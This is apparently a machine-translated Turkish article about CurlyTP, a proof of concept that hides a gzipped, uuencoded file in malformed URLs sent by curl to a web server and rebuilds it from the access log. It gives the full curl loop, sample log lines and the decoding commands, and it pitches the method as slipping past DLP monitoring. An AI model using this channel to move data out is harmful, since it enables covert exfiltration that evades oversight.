Sunucu günlükleri aracılığıyla gizli mesajların değişimi

Wikipedia tanımına göre ölü düşüş, gizli bir konumu kullanan kişiler arasında bilgi veya bazı eşyaların paylaşılmasına hizmet eden bir komplo aracıdır. Buradaki fikir, insanların hiçbir zaman buluşmamasıdır; ancak yine de operasyonel güvenliği sürdürmek için bilgi alışverişinde bulunurlar.

Saklandığı yer dikkat çekmemelidir. Bu nedenle, çevrimdışı dünyada genellikle gizli şeyler kullanırlar: duvardaki gevşek bir tuğla, bir kütüphane kitabı veya bir ağaçtaki oyuk.

İnternette pek çok şifreleme ve anonimleştirme aracı var ancak bu araçların kullanılması gerçeği dikkat çekiyor. Ayrıca kurumsal düzeyde veya hükümet düzeyinde engellenebilirler. Ne yapalım?

Geliştirici Ryan Flowers ilginç bir seçenek önerdi - herhangi bir web sunucusunu saklanma yeri olarak kullanmak. Düşünürseniz, bir web sunucusu ne yapar? İstekleri alır, dosyaları yayınlar ve günlükleri yazar. Ve tüm istekleri günlüğe kaydeder, yanlış olanlar bile!

Herhangi bir web sunucusunun günlüğe hemen hemen her mesajı kaydetmenize izin verdiği ortaya çıktı. Çiçekler bunu nasıl kullanacağını merak etti.

Bu seçeneği sunuyor:

  1. Bir metin dosyası (gizli mesaj) alın ve karmayı (md5sum) hesaplayın.
  2. Bunu kodluyoruz (gzip+uuencode).
  3. Sunucuya kasıtlı olarak yanlış bir istek kullanarak günlüğe yazıyoruz.

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

Bir dosyayı okumak için bu işlemleri ters sırayla yapmanız gerekir: dosyanın kodunu çözün ve sıkıştırın, karmayı kontrol edin (karma, açık kanallar üzerinden güvenli bir şekilde iletilebilir).

Boşluklar şununla değiştirilir: =+=böylece adreste boşluk kalmaz. Yazarın CurlyTP adını verdiği program, e-posta ekleri gibi base64 kodlamasını kullanıyor. İstek bir anahtar kelimeyle yapılır ?transfer?böylece alıcı bunu günlüklerde kolayca bulabilir.

Bu durumda günlüklerde ne görüyoruz?

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

Daha önce de belirtildiği gibi, gizli bir mesaj almak için işlemleri ters sırayla yapmanız gerekir:

Remote machine

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

Sürecin otomatikleştirilmesi kolaydır. Md5sum eşleşir ve dosyanın içeriği her şeyin kodunun doğru şekilde çözüldüğünü doğrular.

Yöntem çok basittir. "Bu alıştırmanın amacı, dosyaların masum küçük web istekleri yoluyla aktarılabileceğini ve düz metin günlüklerine sahip herhangi bir web sunucusunda çalıştığını kanıtlamak. Aslında her web sunucusu bir saklanma yeridir!” diye yazıyor Flowers.

Elbette bu yöntem yalnızca alıcının sunucu günlüklerine erişimi varsa işe yarar. Ancak bu tür bir erişim, örneğin birçok barındırıcı tarafından sağlanır.

Bu nasıl kullanılır?

Ryan Flowers, kendisinin bir bilgi güvenliği uzmanı olmadığını ve CurlyTP'nin olası kullanımlarının bir listesini derlemeyeceğini söylüyor. Ona göre bu, her gün gördüğümüz tanıdık araçların alışılmadık bir şekilde kullanılabileceği kavramının bir kanıtı sadece.

Aslında bu yöntemin diğer sunucu "gizlemelerine" göre bir takım avantajları vardır: Dijital Ölü Damla veya Korsan Kutusu: Sunucu tarafında özel bir konfigürasyon veya herhangi bir özel protokol gerektirmez ve trafiği izleyenler arasında şüphe uyandırmaz. Bir SORM veya DLP sisteminin URL'leri sıkıştırılmış metin dosyaları için taraması pek olası değildir.

Bu, mesajları servis dosyaları aracılığıyla iletmenin yollarından biridir. Bazı gelişmiş şirketlerin eskiden nasıl yerleştirdiğini hatırlayabilirsiniz. HTTP Başlıklarında Geliştirici İşleri veya HTML sayfalarının kodunda.

Sunucu günlükleri aracılığıyla gizli mesajların değişimi

Buradaki fikir, normal bir insanın başlıklara veya HTML koduna bakmaması nedeniyle bu Paskalya yumurtasını yalnızca web geliştiricilerinin görmesiydi.

Sunucu günlükleri aracılığıyla gizli mesajların değişimi

Kaynak: habr.com

Yorum ekle